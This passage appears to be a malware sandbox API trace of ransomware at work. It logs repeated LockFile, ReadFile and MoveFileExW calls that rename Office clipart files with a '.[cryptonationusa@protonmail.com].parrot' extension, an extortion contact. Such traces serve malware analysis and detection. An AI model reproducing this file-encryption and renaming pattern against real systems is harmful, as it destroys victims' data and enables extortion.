lpNewFilePointer=0x0) returned 1 [0132.353] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2bd0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2bd0, lpOverlapped=0x0) returned 1 [0132.354] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.354] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2ce8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0132.354] CloseHandle (hObject=0x27c) returned 1 [0132.354] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102762.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102762.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0132.357] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x43a8, nNumberOfBytesToLockHigh=0x0) returned 1 [0132.357] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0132.357] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0132.359] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.359] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4290, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4290, lpOverlapped=0x0) returned 1 [0132.360] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.360] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x43a8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0132.360] CloseHandle (hObject=0x27c) returned 1 [0132.360] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102984.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102984.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0132.363] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x44d8, nNumberOfBytesToLockHigh=0x0) returned 1 [0132.363] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0132.364] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0132.365] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.365] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x43c0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x43c0, lpOverlapped=0x0) returned 1 [0132.366] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.366] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x44d8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0132.366] CloseHandle (hObject=0x27c) returned 1 [0132.367] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103058.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103058.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0132.369] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x337c, nNumberOfBytesToLockHigh=0x0) returned 1 [0132.369] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0132.370] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0132.371] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.371] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3264, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3264, lpOverlapped=0x0) returned 1 [0132.372] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.372] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x337c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0132.372] CloseHandle (hObject=0x27c) returned 1 [0132.373] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103262.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103262.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0132.376] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb0ac, nNumberOfBytesToLockHigh=0x0) returned 1 [0132.376] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0132.376] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0132.377] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.377] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xaf94, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xaf94, lpOverlapped=0x0) returned 1 [0132.380] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.381] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb0ac, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0132.381] CloseHandle (hObject=0x27c) returned 1 [0132.381] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103402.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103402.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0132.415] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x182c, nNumberOfBytesToLockHigh=0x0) returned 1 [0132.415] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0132.415] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0132.417] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.417] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1714, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1714, lpOverlapped=0x0) returned 1 [0132.418] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.418] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x182c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0132.418] CloseHandle (hObject=0x288) returned 1 [0132.418] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103812.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103812.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0132.423] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5d44, nNumberOfBytesToLockHigh=0x0) returned 1 [0132.423] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0132.423] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0132.425] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.425] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5c2c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5c2c, lpOverlapped=0x0) returned 1 [0132.427] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.427] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5d44, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0132.427] CloseHandle (hObject=0x288) returned 1 [0132.427] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103850.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103850.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0132.430] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x154c, nNumberOfBytesToLockHigh=0x0) returned 1 [0132.430] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0132.430] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0132.432] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.432] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1434, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1434, lpOverlapped=0x0) returned 1 [0132.433] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.433] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x154c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0132.433] CloseHandle (hObject=0x288) returned 1 [0132.433] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105230.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105230.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0132.437] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1718, nNumberOfBytesToLockHigh=0x0) returned 1 [0132.437] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0132.437] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0132.441] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.441] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1600, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1600, lpOverlapped=0x0) returned 1 [0132.460] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.461] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1718, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0132.461] CloseHandle (hObject=0x288) returned 1 [0132.461] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105232.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105232.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105232.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0132.465] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe8c, nNumberOfBytesToLockHigh=0x0) returned 1 [0132.465] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0132.465] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0132.468] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.469] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd74, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xd74, lpOverlapped=0x0) returned 1 [0132.469] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.469] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe8c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0132.469] CloseHandle (hObject=0x288) returned 1 [0132.469] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105234.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105234.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0132.472] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x442c, nNumberOfBytesToLockHigh=0x0) returned 1 [0132.472] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0132.472] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0132.484] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.484] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4314, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4314, lpOverlapped=0x0) returned 1 [0132.536] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.537] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x442c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0132.537] CloseHandle (hObject=0x288) returned 1 [0132.537] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105238.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105238.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105238.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0132.540] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2e24, nNumberOfBytesToLockHigh=0x0) returned 1 [0132.540] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0132.540] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0132.542] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.542] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2d0c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2d0c, lpOverlapped=0x0) returned 1 [0132.551] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.551] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2e24, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0132.551] CloseHandle (hObject=0x288) returned 1 [0132.551] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105240.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105240.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105240.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0132.555] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2cf4, nNumberOfBytesToLockHigh=0x0) returned 1 [0132.555] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0132.555] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0132.556] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.556] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2bdc, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2bdc, lpOverlapped=0x0) returned 1 [0132.566] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.566] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2cf4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0132.566] CloseHandle (hObject=0x288) returned 1 [0132.566] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105244.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105244.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105244.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0132.569] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4c98, nNumberOfBytesToLockHigh=0x0) returned 1 [0132.569] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0132.569] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0132.571] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.571] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4b80, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4b80, lpOverlapped=0x0) returned 1 [0132.578] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.578] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4c98, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0132.578] CloseHandle (hObject=0x288) returned 1 [0132.578] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105246.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105246.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0132.582] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x132c, nNumberOfBytesToLockHigh=0x0) returned 1 [0132.582] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0132.582] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0132.587] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.587] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1214, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1214, lpOverlapped=0x0) returned 1 [0132.588] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.588] UnlockFile (hFile=0x288, 